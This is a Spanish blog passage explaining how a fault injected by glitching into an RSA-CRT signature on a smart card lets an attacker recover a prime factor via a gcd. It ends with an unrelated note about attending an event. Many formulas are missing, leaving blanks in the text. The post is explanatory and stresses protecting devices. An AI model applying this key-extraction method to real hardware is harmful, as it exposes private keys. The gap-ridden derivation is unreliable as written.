Por ello, el algoritmo RSA se puede dividir de una potencia modular con un módulo enorme a dos operaciones modulares de módulos de tamaño aproximadamente la mitad del primero. Con esto se consigue una mejora de rendimiento, lo cual es fundamental en aplicaciones con recursos limitados como smart cards. Además, los resultados auxuliares pueden ser precalculados, con lo cual se pueden cargar en la tarjeta al mismo tiempo que la clave y reducir la carga.

Sin embargo, en estos entornos es posible inyectar fallos tal y como expliqué en esta entrada. ¿Y qué tiene esto que ver con las implementaciones de RSA usando el CRT? Como vamos a ver, mucho

En primer lugar, supongamos que realizamos una firma mediante RSA-CRT en un dispositivo embebido. Entonces, el dispositivo calcula mediante el cálculo de y , y realiza la combinación apropiada para obtener . Esto se hace mediante la fórmula , donde a y b son los resultados antes mencionados que se calculan mediante las siguientes fórmulas:

a= 0 (mod p), a=1 (mod q)

b=1 (mod p), b=0 (mod q)

Así pues, supongamos que ahora realizamos un ataque mediante glitching e introducimos un fallo en el cálculo de , de forma que ya no cumple . Entonces, obviamente el resultado es incorrecto, pero... ¿podemos aprovecharlo?

Poniendo todas las ecuaciones que tenemos juntas, vemos que la diferencia entre el valor correcto c, y el valor en el que hemos inducido nuestro fallo, c', cumple lo siguiente:

Por tanto, si calculamos el máximo común divisor de c-c' y n=p·q, este caso nos daría el valor de q ya que es el único factor común entre ambos, pues c-c' es múltiplo de q pero no de p. Este cálculo se puede hacer de forma eficiente mediante el algoritmo de Euclides.

Así pues, mediante un poco de matemáticas y una inyección de un fallo en un resultado resulta muy sencillo obtener la clave RSA. Esto deja clara la necesidad de proteger los dispositivos embebidos ante este tipo de ataques.

Este ejemplo ha sido sacado de las notas de Henk Van Tilburg para Cryptography 1 .

Yo estaré allí el lunes y si me dejan en la empresa el martes también. Había que registrarse antes de este miércoles, pero como no me lee nadie que esté por aquí pues creo que tampoco pasa mucho por avisar tan tarde.

Se puede ver el programa aquí. Ya daré mis impresiones cuando llegue el momento .